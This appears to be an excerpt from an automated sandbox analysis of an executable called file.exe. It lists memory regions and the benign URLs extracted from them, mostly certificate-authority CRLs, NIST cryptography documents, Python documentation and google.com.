00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: file.exe, 00000000.00000003.1690618091.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, 00000000.00000003.1690618091.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110277873.00000214FFBDB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717288320.00000214FFBD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107285500.00000214FFB8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104762804.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105574677.00000214FF5CA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717951813.00000214FF5E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107513071.00000214FF614000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110467841.00000214FF624000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107003138.00000214FF60E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577916/
Source: file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146001431.00000214FFA4F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: file.exe, 00000001.00000003.2136050933.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117277157.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120112192.00000214FF59E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2144706152.00000214FF5A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146285438.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110908198.00000214FF599000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116526106.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: file.exe, 00000001.00000003.2110031802.00000214FFB16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105909756.00000214FFB13000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114732194.00000214FFA0B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126663400.00000214FFB16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146001431.00000214FFA4F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlG
Source: file.exe, 00000001.00000003.2130648026.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147473239.00000214FFD37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2136299831.00000214FFD25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: file.exe, 00000001.00000003.2112994189.00000214FFBDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104502886.00000214FFBDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2119048801.00000214FFBE0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110277873.00000214FFBDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106175292.00000214FFBDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: file.exe, 00000001.00000003.2130648026.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147473239.00000214FFD37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2136299831.00000214FFD25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: file.exe, 00000001.00000003.2112994189.00000214FFBDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104502886.00000214FFBDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2119048801.00000214FFBE0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110277873.00000214FFBDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106175292.00000214FFBDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: file.exe, 00000001.00000003.2130648026.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147473239.00000214FFD37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2136299831.00000214FFD25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: file.exe, 00000001.00000003.2136050933.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117277157.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146285438.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116526106.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: file.exe, 00000000.00000003.1690618091.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: file.exe, 00000000.00000003.1690618091.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/eax/eax-spec.pdf
Source: file.exe, 00000001.00000002.2139722360.0000021481A93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/80
Source: file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38C/SP800-38C.pdf
Source: file.exe, 00000001.00000003.2104230165.00000214FFC8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117528067.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107937864.00000214FFC8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103312630.00000214FFC7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118761418.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122323104.00000214FF9BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122249938.00000214FFC94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111847758.00000214FFC91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
Source: file.exe, 00000001.00000003.2122368118.0000021481A7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2124542602.0000021481A00000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2141249438.0000021482240000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118182346.00000214FFB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121542767.00000214FFB9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2138700348.0000021481710000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107285500.00000214FFB8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104762804.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
Source: file.exe, 00000001.00000003.1718518630.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2127810264.00000214FFAC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116526106.00000214FFAC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1716455558.00000214FFABC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/library/itertools.html#recipes
Source: file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1716455558.00000214FFABC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar.tar.gz
Source: file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1716455558.00000214FFABC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar.tgz
Source: file.exe, 00000001.00000003.2119974551.00000214FFA51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721880040.00000214FFA49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFA1B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121180025.00000214FFA54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: file.exe, 00000001.00000003.2119974551.00000214FFA51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721880040.00000214FFA49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFA1B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
